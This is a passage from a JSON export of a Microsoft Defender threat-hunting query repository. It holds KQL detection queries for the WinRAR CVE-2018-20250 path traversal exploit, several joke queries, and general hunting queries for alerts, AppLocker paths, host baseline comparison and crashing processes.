Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement | v |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** Carl Peter McCollough\n**GitHub alias:** YulelogPagoda\n**Contact info:** https://www.linkedin.com/in/petemccollough/\n"
  },
  {
    "path": "Exploits/winrar-cve-2018-20250-ace-files.md",
    "content": "# Detect .ace files associated with WinRAR absolute path transversal exploit, CVE-2018-20250\n\nThis query was originally published in the threat analytics report, *WinRAR CVE-2018-20250 exploit*\n\nWinRAR is a third-party file compressing application. Versions 5.61 and earlier contained a flaw that could be exploited by an attacker to read and write to an arbitrary path on the target's system. This could be used to run arbitrary code, overwrite system files, or access sensitive information. This vulnerability was designated [CVE-2018-20250](https://nvd.nist.gov/vuln/detail/CVE-2018-20250), and it is associated an outdated version of the legacy ACE compression library, `unacev2.dll`.\n\nThe following query detects possible CVE-2020-20250 exploitation by looking for files with the *.ace* extension.\n\n## Query\n\n```Kusto\n//Query for .ace files\nDeviceFileEvents\n| where Timestamp > ago(7d)\n//Look for ACE files\n| where FileName endswith \".ace\"\n//Exclude clean ACE files used by Trend Micro\n| where FolderPath !contains @'\\Trend Micro'\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[File creation with WinRAR absolute path transversal exploit, CVE-2018-20250](winrar-cve-2018-20250-file-creation.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Exploits/winrar-cve-2018-20250-file-creation.md",
    "content": "# File creation with WinRAR absolute path transversal exploit, CVE-2018-20250\n\nThis query was originally published in the threat analytics report, *WinRAR CVE-2018-20250 exploit*\n\nWinRAR is a third-party file compressing application. Versions 5.61 and earlier contained a flaw that could be exploited by an attacker to read and write to an arbitrary path on the target's system. This could be used to run arbitrary code, overwrite system files, or access sensitive information. This vulnerability was designated [CVE-2018-20250](https://nvd.nist.gov/vuln/detail/CVE-2018-20250), and it is associated an outdated version of the legacy ACE compression library, `unacev2.dll`.\n\nThe following query detects possible CVE-2020-20250 exploitation by looking for files created in the Startup folder.\n\n## Query\n\n```Kusto\n//Query for WinRAR file creation in the Startup folder\nDeviceFileEvents\n| where Timestamp > ago(7d)\n//Look for WinRAR as the initiating process or a commandline that has \".rar\" \n| where (InitiatingProcessFileName =~ \"winrar.exe\" \nor InitiatingProcessCommandLine contains \".rar\") \n//Check for the file in the Startup folder\nand FolderPath contains \"Programs\\\\Startup\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n[Detect .ace files associated with WinRAR absolute path transversal exploit, CVE-2018-20250](winrar-cve-2018-20250-ace-files.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Fun/EmojiHunt.txt",
    "content": "// Did you know you can use Emojis in Windows?\n// Read more here: https://davidzych.com/abusing-emoji-in-windows/\n// Check-out who in your organization has renamed his or her computer to a Pizza or to a smiling poop.\n// You might be amused by the results, or perhaps angry if one of your systems or scripts was broken by this...\n// Note: this query will also return some machines with non-English charcters that are not Emojis\n// Credit for this query goes to miflower - thanks for bringing joy to our lives! :)\nDeviceProcessEvents\n| distinct DeviceName\n| extend fakeescape=replace(\"%5f\", \"_\", replace(\"%2d\", \"-\", url_encode(DeviceName)))\n| where fakeescape != DeviceName\n"
  },
  {
    "path": "Fun/HiddenMessage.txt",
    "content": "print a = '🤖🎃😀🦓🙏🐾🌫🐨😜🌤🔬'\n| extend a=extractall('(.)', a)\n| mvexpand a\n| extend a=substring(base64_encodestring(strcat('abracadabra', a)), 19)\n| summarize Message=replace(@'[+]', ' ', replace(@'[[\",\\]]', \"\", tostring(makelist(a))))\n"
  },
  {
    "path": "Fun/Make FolderPath Vogon Poetry.md",
    "content": "# Make FolderPath Vogon Poetry\n\nThis is a completely stupid and pointless query that makes Vogon poetry out \nof a random FolderPath from the table you pass it.  You can change \nDeviceProcessEvents for any table as long as it has a column named DeviceName\nand a column called FolderPath.  Feel free to check in more verses :)\n \nDon't know what Vogon poetry is?  You have a research assignment: http://tinyurl.com/y8ueqchl \n\n## Query\n\n```\nlet MakeFolderPathVogonPoetry = (SourceData:(DeviceName:string, FolderPath:string)) {\n    let Verses = pack_array(\n        'My life was spent with PATH', \n        'Looking upon a barren PATH',\n        'Whilst in the distance I saw a PATH',\n        'Gazing at the PATH',\n        'It was quite the dreary PATH',\n        'As I sat alone in the PATH',\n        'It was such a beautiful PATH',\n        'Though I could choose only one PATH',\n        'While I longed for my PATH',\n        'I would never find PATH again',\n        'I hunt in PATH',\n        'The PATH my guide',\n        'The memory of PATH sings in my blood',\n        'I seize the PATH',\n        'I carry it to my PATH',\n        'And I lay my PATH at your feet'\n    );    \n    let PhraseCount = toscalar(array_length(Verses));\n    let CleanedSourceData = (\n        SourceData\n        | take 10000\n        | where isnotempty( FolderPath) and (FolderPath startswith \"/\" or FolderPath startswith \"c:\\\\\")\n        | project DeviceName, FolderPath\n    );\n    let RandRow = rand(toscalar(CleanedSourceData | count));\n    CleanedSourceData\n    | serialize \n    | where row_number() == RandRow\n    | extend Path = iff(FolderPath startswith \"/\", split(FolderPath, '/'), split(FolderPath, '\\\\'))\n    | where array_length( Path ) > 2\n    | mvexpand Path to typeof(string)\n    | where isnotempty(Path)\n    | extend Rand = toint(rand(PhraseCount))\n    | extend VerseTemplate = tostring(Verses[Rand])\n    | extend Verse = strcat(substring(VerseTemplate,0,indexof(VerseTemplate, 'PATH')), Path, substring(VerseTemplate, (indexof(VerseTemplate, 'PATH') + 4), (strlen(VerseTemplate) -  indexof(VerseTemplate, 'PATH') + 4))) \n    | serialize \n    | project DeviceName, FolderPath, Verse\n};\nDeviceProcessEvents\n| invoke MakeFolderPathVogonPoetry()\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Creates Poetry | v |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "General queries/Alert Events from Internal IP Address.txt",
    "content": "// Determines DeviceId from internal IP address and outputs all alerts in events table associated to the DeviceId\n// Example use case is Firewall determines Internal IP with suspicious network activity. Query WDATP based on date/time and Internal IP and see associated alerts for the endpoint.  \nlet PivotTime = datetime(2021-01-02 20:57:02); //Fill out time\nlet TimeRangeStart = PivotTime-15m; // 15 Minutes Prior to Pivot Time\nlet TimeRangeEnd = PivotTime+15m; // 15 Minutes After Pivot Time\nlet IPAddress = \"172.16.40.8\";  // internal IP address to search\n// Locate DeviceIds associated with IP\nlet FindDeviceIdbyIP = DeviceNetworkInfo\n| where Timestamp between ((TimeRangeStart) ..TimeRangeEnd) \n\tand IPAddresses contains strcat(\"\\\"\", IPAddress, \"\\\"\") \n\tand NetworkAdapterStatus == \"Up\"\n| project DeviceName, DeviceId, Timestamp, IPAddresses;\n// Query Alerts matching DeviceIds\nFindDeviceIdbyIP \n| join kind=rightsemi AlertEvidence on DeviceId\n| join AlertInfo on AlertId\n// Summarizes alerts by AlertId with min and max event times\n| summarize Title=any(Title), min(Timestamp), max(Timestamp), DeviceName=any(DeviceName) by AlertId\n"
  },
  {
    "path": "General queries/AppLocker Policy Design Assistant.md",
    "content": "# AppLocker Policy Design Assistant\n\nOne of the challenges in making an AppLocker policy is knowing where applications \nlaunch from.  This query normalizes process launch paths through aliasing, then \ncounts the number of processes launched from that path, how many distinct machines it\nwas launched on, and how many distinct file names \\ hashes these processes had.  The\npath is broken into subfolders to help simplify analysis.\n\n## Query\n\n```\nlet FolderDepthLimit = 5;\nlet AliasPath = (SourcePath:(FolderPath:string, FileName:string))\n{\nSourcePath\n    | extend AliasPath = tolower(\n            case(\n                //Modern style profile\n                FolderPath startswith 'c:\\\\users\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',11), strlen(FolderPath) - 11)),\n                //Legacy style profile\n                FolderPath startswith 'c:\\\\documents and settings\\\\', strcat('%UserProfile%', substring(FolderPath, indexof(FolderPath,'\\\\',27), strlen(FolderPath) - 27)),\n                //Windir\n                FolderPath contains @':\\Windows\\', strcat('%windir%', substring(FolderPath, 10)),\n                //ProgramData\n                FolderPath contains @':\\programdata\\', strcat('%programdata%', substring(FolderPath, 14)),\n                // ProgramFiles\n                FolderPath contains @':\\Program Files\\', strcat('%ProgramFiles%', substring(FolderPath, 16)),\n                // Program Files (x86)\n                FolderPath contains @':\\Program Files (x86)\\', strcat('%ProgramFilesx86%', substring(FolderPath, 22)),\n                //Other\n                FolderPath)\n        )\n};\nDeviceProcessEvents\n| where isnotempty(FolderPath) and FolderPath !startswith '/' //AppLocker is not supported on Linux \\ Mac and we need a FolderPath\n| invoke AliasPath() // Alias the path for consistency\n| extend Folder = substring(AliasPath, 0, strlen(AliasPath) - strlen(FileName) - 1) // Trim the FileName\n| where Folder !startswith @'%windir%' and Folder !startswith @'%programfiles%' and Folder !startswith @'%programfilesx86%' // Remove folders that are included in AppLocker by default\n| extend SplitFolderPath = split(Folder, '\\\\') // Break the folder down by folders\n| extend PathDepth = range(1,FolderDepthLimit,1) // create a range to break the path into depths\n| mvexpand PathDepth to typeof(int) // mvexpand\n| where PathDepth < array_length(SplitFolderPath) // Determine if the current depth is greater than the number of folders in the path\n| extend SubPath = strcat_array(array_slice(SplitFolderPath, 0, PathDepth), '\\\\') // Reassemble the subpath based on the number of folders\n| summarize ProcessCount = count(), DistinctMachines = dcount(DeviceId), DistinctProcesses = dcount(SHA256), DistinctFileNames = dcount(FileName) by SubPath \n| order by DistinctMachines desc // Order by the number of distinct machines in descending order\n\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "General queries/Baseline Comparison.txt",
    "content": "// Baseline Comparison\n// Author: miflower\n// The purpose of this query is to perform a comparison between \"known good\" machines and suspected bad machines\n// The original concept for this query was born due to reapplying the same 'whitelist' filters over and over\n// It brings deltas between a baseline and another machine quickly to the analyst's view\n// This query supports multiple suspected bad machines and multiple \"known good\" machines\n// It also supports providing a timeframe for how far back in time to build a baseline as well as how far back in time to evaluate the suspected bad machines\n// Each of the links provided by DeviceId/DeviceName will go to the most recent entry for whatever entity is listed\n// Average results for the pre-defined settings below with a single good host and a single bad host on a 'huge' tenant (300k+ machines):\n//   Compute Time: ~10-20 seconds\n//   Result Set Size: ~500 rows\n// The workflow is as follows:\n//   1. Establish Variables that are editable on a per-query basis\n//   2. Define functions for reuse\n//   3. Calculate DeviceIds for all machines in scope\n//   4. Derive deltas using the aforementioned functions\n//   5. Union together all results into a single view\n// The following datasets are returned:\n//   1. Alerts on the suspected bad machines (ignores known good machines, because...they're alerts, additional data has the triggered file)\n//   2. Connected Networks (from DeviceNetworkInfo table, additional data has full Connected Network details)\n//   3. File Creations (disabled by default due to volume, enable at your own risk, additional data has initiating processes)\n//   4. Image Loads (disabled by default due to volume, enable at your own risk, additional data has initiating processes)\n//   5. Logon (derived from DeviceLogonEvents for the unique users logged on, additional data has logon types)\n//   6. Network communication (grouped by 2nd level-domain, ie 'microsoft.com' in 'www.microsoft.com' and 'web.microsoft.com', additional data has the full list of URLs)\n//   7. Process creation (additional data has the full paths of the files)\n//   8. Powershell Commands (grouped by the cmdlet that was ran, additional data has the processes that ran the cmdlet)\n//   9. Reigstry Events (disabled by default due to volume, grouped by the registry key, additional data has the value data)\n//  10. Raw IP Connection Events (additional data has the initiating processes)\n//\n// List of \"known good\" hosts - populate with your baseline, must be FQDNs\nlet GoodHosts=pack_array('supposedlygoodhost.mydomain','ithinkitsgoodserver.mydomain');\n// List of suspected bad hosts - populate with bad machines, must be FQDNs\nlet SuspectedBadHosts=pack_array('compromisedhost.mydomain', 'lateralmovementhost.mydomain');\n// How far back should the baseline be built from?\nlet GoodTimeRange=30d;\n// How far back should the bad machines be looked at?\nlet SuspectedBadTimeRange=30d;\n// Comment return sets that you do not want returned, by default file creation and image loads and registry events are disabled\nlet ReturnSets=pack_array(\n    'Alert',\n    'Connected Networks',\n//    'File Creation'\n//    'Image Loads',\n    'Logon',\n    'Network Communication',\n    'Process Creation',\n    'PowerShell Command',\n//    'Registry Event'\n    'Raw IP Communication'\n);\n// -------------End of variables, changing below this line will change query logic----------\n// Function to get a mapping of machine IDs given a list of computer names\nlet GetDeviceId=(InDeviceName: dynamic) {\n    DeviceInfo\n    | where DeviceName in~ (InDeviceName)\n    | distinct DeviceName, DeviceId\n};\n// Function to consolidate all machine IDs into a single set\nlet ConsolidateDeviceId=(T:(DeviceId: string)) {\n    T\n    | summarize makeset(DeviceId)\n};\n// Function to get network communications given a list of computer names and how far back to look\nlet GetNetworkEvents=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceNetworkEvents\n    | where \"Network Communication\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    | where isnotempty(RemoteUrl)\n    | summarize Timestamp=max(Timestamp), count() by RemoteUrl, DeviceId\n    | extend UrlSplit=split(RemoteUrl, \".\") // Split the levels of the URL\n    // If there is only one level (for an internal communication that uses your DNS search suffix), then only use that level\n    // Otherwise combine the top two levels and use those as the URLRoot\n    | extend UrlRoot=iff(UrlSplit[-2] == \"\", UrlSplit[0], strcat(tostring(UrlSplit[-2]), \".\", tostring(UrlSplit[-1])))\n    | summarize Timestamp=max(Timestamp), Count=sum(count_), AdditionalData=makeset(RemoteUrl, 5) by UrlRoot, DeviceId\n    | project Timestamp, Entity=UrlRoot, Count, AdditionalData=tostring(AdditionalData), DeviceId, DataType=\"Network Communication\"\n};\n// Function to get process creates given a list of computer names and how far back to look\nlet GetProcessCreates=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceProcessEvents\n    | where \"Process Creation\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    // Replace known path for mpam files as they are dynamically named and likely to be unique on each machine\n    | extend FileName=iff(FolderPath matches regex @\"([A-Z]:\\\\Windows\\\\ServiceProfiles\\\\NetworkService\\\\AppData\\\\Local\\\\Temp\\\\mpam-)[a-z0-9]{7,8}\\.exe\", \"mpam-RANDOM.exe\", FileName)\n    // Replace known path for AM delta patch files as they jump frequently and not likely to be exact on each machine\n    | extend FileName=iff(FolderPath matches regex @\"([A-Z]:\\\\Windows\\\\SoftwareDistribution\\\\Download\\\\Install\\\\AM_Delta_Patch_)[0-9\\.]+\\.exe\", \"AM_Delta_Patch_Version.exe\", FileName)\n    | summarize Timestamp=max(Timestamp), Count=count(), AdditionalData=makeset(FolderPath) by FileName, DeviceId\n    // Replace various mbam executables that are semiunique-generated with some text to help reduce noise\n    | project Timestamp, Entity=FileName, Count, AdditionalData=tostring(AdditionalData), DeviceId, DataType=\"Process Creation\"\n};\n// Function to get powershell commands given a list of computer names and how far back to look\nlet GetPSCommands=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceEvents\n    | where \"PowerShell Command\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    | where ActionType == 'PowerShellCommand'\n    // Remove two different signatures for scripts being executed which cause a lot of noise\n    // The first signature matches scripts generated as part of testing execution policy\n    // The second signature matches scripts generated by SCCM\n    | where not(AdditionalFields matches regex @\"Script_[0-9a-f]{20}\" and InitiatingProcessFileName =~ 'monitoringhost.exe')\n    | where not(AdditionalFields matches regex @\"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\\.ps1\" and InitiatingProcessFileName =~ 'powershell.exe')\n    | summarize Timestamp=max(Timestamp), count(), IPFN_Set=makeset(InitiatingProcessFileName) by AdditionalFields, DeviceId\n    | project Timestamp, Entity=tostring(extractjson(\"$.Command\", AdditionalFields)), Count=count_, AdditionalData=tostring(IPFN_Set), DeviceId, DataType=\"PowerShell Command\"\n};\n// Function to get file creations given a list of computer names and how far back to look\nlet GetFileCreates=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceFileEvents\n    | where \"File Creation\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    // Remove temporary files created by office products\n    | where not(FileName matches regex @\"~.*\\.(doc[xm]?|ppt[xm]?|xls[xm]?|dotm|rtf|xlam|lnk)\")\n    // Replace two different signatures for PS scripts being created which cause a lot of noise\n    | extend iff(FileName matches regex @\"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\\.ps1\" or\n                 FileName matches regex @\"[0-9a-z]{8}\\.[0-9a-z]{3}\\.ps1\", \"RANDOM.ps1\", FileName)\n    | summarize Timestamp=max(Timestamp), FP_Set=makeset(FolderPath), count() by FileName, DeviceId\n    | project Timestamp, Entity=FileName, Count=count_, AdditionalData=tostring(FP_Set), DeviceId, DataType=\"File Creation\"\n};\n// Function to get logon events given a list of computer names and how far back to look\nlet GetDeviceLogonEvents=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceLogonEvents\n    | where \"Logon\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    // Remove logons made by WDM or UMFD\n    | where AccountDomain !in ('font driver host', 'window manager')\n    | summarize Timestamp=max(Timestamp), Count=count(), LT_Set=makeset(LogonType) by AccountName, AccountDomain, DeviceId\n    | project Timestamp, Entity=iff(AccountDomain == \"\", AccountName, strcat(AccountDomain, @\"\\\", AccountName)), Count, AdditionalData=tostring(LT_Set), DeviceId, DataType=\"Logon\"\n};\n// Function to get registry events given a list of computer names and how far back to look\nlet GetDeviceRegistryEvents=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceRegistryEvents\n    | where \"Registry Event\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    | extend RegistryKey=iff(RegistryKey matches regex @\"HKEY_CURRENT_USER\\\\S-[^\\\\]+\\\\\", replace(@\"(HKEY_CURRENT_USER\\\\)S-[^\\\\]+\\\\\", @\"\\1SID\\\\\", RegistryKey), RegistryKey)\n    | summarize Timestamp=max(Timestamp), RVD_Set=makeset(RegistryValueData), Count=count() by DeviceId, RegistryKey\n    | project Timestamp, Entity=RegistryKey, Count, AdditionalData=tostring(RVD_Set), DeviceId, DataType=\"Registry Event\"\n};\n// Function to get connected networks given a list of computer names and how far back to look\nlet GetConnectedNetworks=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceNetworkInfo\n    | where \"Connected Networks\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    | summarize Timestamp=max(Timestamp), Count=count() by DeviceId, ConnectedNetworks\n    | project Timestamp, Entity=tostring(extractjson(\"$[0].Name\", ConnectedNetworks)), Count, AdditionalData=ConnectedNetworks, DeviceId, DataType=\"Connected Networks\"\n};\n// Function to get image load events given a list of computer names and how far back to look\nlet GetImageLoads=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceImageLoadEvents\n    | where \"Image Loads\" in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    | summarize Timestamp=max(Timestamp), Set_FN=makeset(InitiatingProcessFileName), Count=count() by DeviceId, FolderPath\n    // Replace various native windows DLL's that are guid-generated with some text to help reduce noise\n    | extend Entity=replace(@\"([wW]indows\\\\assembly\\\\NativeImages.*\\\\)[0-9a-f]{32}\", @\"\\1GUID\", FolderPath)\n    | project Timestamp, Entity, Count, AdditionalData=tostring(Set_FN), DeviceId, DataType=\"Image Loads\"\n};\n// Function to get raw IP address network communications given a list of computer names and how far back to look\nlet GetRawIPCommunications=(InDeviceId: dynamic, LeftTimestamp: datetime) {\n    DeviceNetworkEvents\n    | where 'Raw IP Communication' in (ReturnSets)\n    | where Timestamp > LeftTimestamp\n    | where DeviceId in~ (InDeviceId)\n    // Replace all v4 to v6 addresses with their v4 equivalent\n    | extend RemoteIP=replace(\"^::ffff:\", \"\", RemoteIP)\n    | summarize Timestamp=max(Timestamp), Set_RPort=makeset(RemotePort), Set_LPort=makeset(LocalPort), Set_FN=makeset(InitiatingProcessFileName), Set_URL=makeset(RemoteUrl), Count=count() by DeviceId, RemoteIP\n    // Only include any IP addresses that do not have a resolved URL as resolved URLs are handled in network communications\n    | where tostring(Set_URL) == '[\"\"]'\n    // Do not include machines that are only doing WUDO\n    | where tostring(Set_RPort) != '[7680]' and tostring(Set_RPort) != '[7680]'\n    | project Timestamp, Entity=RemoteIP, Count, AdditionalData=tostring(Set_FN), DeviceId, DataType='Raw IP Communication'\n};\n// Calculate the left event time for \"good\" machines\nlet GoodLeftTimestamp=ago(GoodTimeRange);\n// Calculate the left event time for suspected bad machines\nlet SuspectedBadLeftTimestamp=ago(SuspectedBadTimeRange);\n// Calculate the machine IDs for \"good\" machines\nlet GoodHostNameMapping=GetDeviceId(GoodHosts);\n// Reduce all of the good machine IDs into a single variable\nlet GoodHostDeviceId=toscalar(ConsolidateDeviceId(GoodHostNameMapping));\n// Calculate the machine IDs for suspected bad machines\nlet SuspectedBadHostNameMapping=GetDeviceId(SuspectedBadHosts);\n// Reduce all of the suspected bad machine IDs into a single variable\nlet SuspectedBadHostDeviceId=toscalar(ConsolidateDeviceId(SuspectedBadHostNameMapping));\n// Calculate the delta in network events, keeping the bad ones\nlet NetworkDelta=GetNetworkEvents(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetNetworkEvents(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in process create events, keeping the bad ones\nlet ProcessDelta=GetProcessCreates(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetProcessCreates(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in powershell events, keeping the bad ones\nlet PSDelta=GetPSCommands(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetPSCommands(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in file create events, keeping the bad ones\nlet FileDelta=GetFileCreates(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetFileCreates(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in logon events, keeping the bad ones\nlet LogonDelta=GetDeviceLogonEvents(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetDeviceLogonEvents(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in registry events, keeping the bad ones\nlet RegistryDelta=GetDeviceRegistryEvents(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetDeviceRegistryEvents(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in connected network events, keeping the bad ones\nlet ConnectedNetworkDelta=GetConnectedNetworks(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetConnectedNetworks(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in image load events, keeping the bad ones\nlet ImageLoadDelta=GetImageLoads(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetImageLoads(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Calculate the delta in raw IP address communications, keeping the bad ones\nlet RawIPCommunicationDelta=GetRawIPCommunications(SuspectedBadHostDeviceId, SuspectedBadLeftTimestamp)\n| join kind=leftanti (\n    GetRawIPCommunications(GoodHostDeviceId, GoodLeftTimestamp)\n) on Entity;\n// Get the alerts for the bad machines (no delta, we care about all alerts)\nlet Alerts=AlertInfo | join AlertEvidence on AlertId\n| where \"Alert\" in (ReturnSets)\n| where Timestamp > SuspectedBadLeftTimestamp\n| where DeviceId in (SuspectedBadHostDeviceId)\n| summarize Timestamp=max(Timestamp), Count=count() by Title, DeviceId, FileName, RemoteUrl\n| project Timestamp, Entity=Title, Count, AdditionalData=coalesce(FileName, RemoteUrl), DeviceId, DataType=\"Alert\";\n// String everything together\nlet ResultDataWithoutMachineCount=union NetworkDelta, ProcessDelta, PSDelta, FileDelta, Alerts, LogonDelta, RegistryDelta,\n      ConnectedNetworkDelta, ImageLoadDelta, RawIPCommunicationDelta\n// Join back against the machine info so the Computer Names can be reassociated\n| join kind=leftouter (\n        SuspectedBadHostNameMapping\n) on DeviceId\n// Remove duplicated column\n| project-away DeviceId1;\n// This is the start of the final result set that is shown\n// Calculate the number of machines that each entity/datatype pair have and join that data back into the data to add\n// an additional column for the number of bad machines\nResultDataWithoutMachineCount\n| join kind=leftouter (\n    ResultDataWithoutMachineCount\n    | summarize BadMachinesCount=dcount(DeviceId) by Entity, DataType\n) on Entity, DataType\n// Remove duplicated columns\n| project-away Entity1, DataType1\n// and sort by Machine, DataType, Entity\n| order by BadMachinesCount desc, DeviceId asc, DataType asc, Entity asc\n//| where BadMachinesCount > 1\n"
  },
  {
    "path": "General queries/Crashing Applications.md",
    "content": "# Crash Detector\n\nThis query identifies crashing processes based on parameters passed\nto werfault.exe and attempts to find the associated process launch\nfrom DeviceProcessEvents.\n\n## Query\n\n```\nDeviceProcessEvents\n| where Timestamp > ago(1d)\n| where FileName =~ 'werfault.exe'\n| project CrashTime = Timestamp, DeviceId, WerFaultCommand = ProcessCommandLine, CrashProcessId = extract(\"-p ([0-9]{1,5})\", 1, ProcessCommandLine) \n| join kind= inner hint.strategy=shuffle DeviceProcessEvents on DeviceId\n| where CrashProcessId == ProcessId and Timestamp between (datetime_add('day',-1,CrashTime) .. CrashTime)\n| project-away ActionType\n| project-rename ProcessStartTimestamp = Timestamp\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration | v |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "General queries/Detect Azure RemoteIP.md",
